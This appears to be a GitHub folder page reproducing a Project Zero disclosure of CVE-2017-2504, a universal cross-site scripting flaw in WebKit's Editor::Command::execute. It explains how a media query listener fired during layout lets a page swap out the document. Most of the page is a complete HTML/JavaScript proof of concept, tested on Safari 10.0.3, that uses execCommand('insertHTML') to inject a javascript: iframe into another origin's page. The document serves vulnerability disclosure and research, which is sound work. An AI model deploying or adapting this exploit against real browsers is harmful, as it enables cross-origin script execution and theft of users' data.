Skip to content

Latest commit

 

History

History

CVE-2017-2504

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 

UXSS via Editor::Command::execute

Reported by mailto:[email protected], Feb 16 2017

Here's a snippet of Editor::Command::execute used to handle |document.execCommand|.

bool Editor::Command::execute(const String& parameter, Event* triggeringEvent) const
{
    if (!isEnabled(triggeringEvent)) {
        // Let certain commands be executed when performed explicitly even if they are disabled.
        if (!allowExecutionWhenDisabled())
            return false;
    }
    m_frame->document()->updateLayoutIgnorePendingStylesheets();
    return m_command->execute(*m_frame, triggeringEvent, m_source, parameter);
}

This method is invoked under an |EventQueueScope|. But |updateLayoutIgnorePendingStylesheets| invokes |MediaQueryMatcher::styleResolverChanged| that directly calls |handleEvent| not affected by |EventQueueScope|. So it may end up to fire javascript handlers(|listener| in PoC). If we replace the document in that handler, |m_command| will be executed on the new document's focused element. We can use # in URL to give a focus.

Note 1: The PoC also trigger a UAF. So I recommend to test it on a release build. ASAN log Note 2: If the PoC doesn't work, adjust sleep().

Tested on Safari 10.0.3(12602.4.8).

PoC:

<html>

<body>
  Click Anywhere.
  <script>
    function sleep(ms) {
      let start = new Date();
      while (new Date() - start < ms) {

      }
    }

    window.onclick = () => {
      window.onclick = null;

      document.designMode = 'on';
      document.execCommand('selectAll');

      let f = document.body.appendChild(document.createElement('iframe'));
      let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

      function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([
          `
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'
        ], {
          type: 'text/html'
        })));
      }

      media_list.addListener(listener);
      document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
    };
  </script>
</body>

</html>

Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1133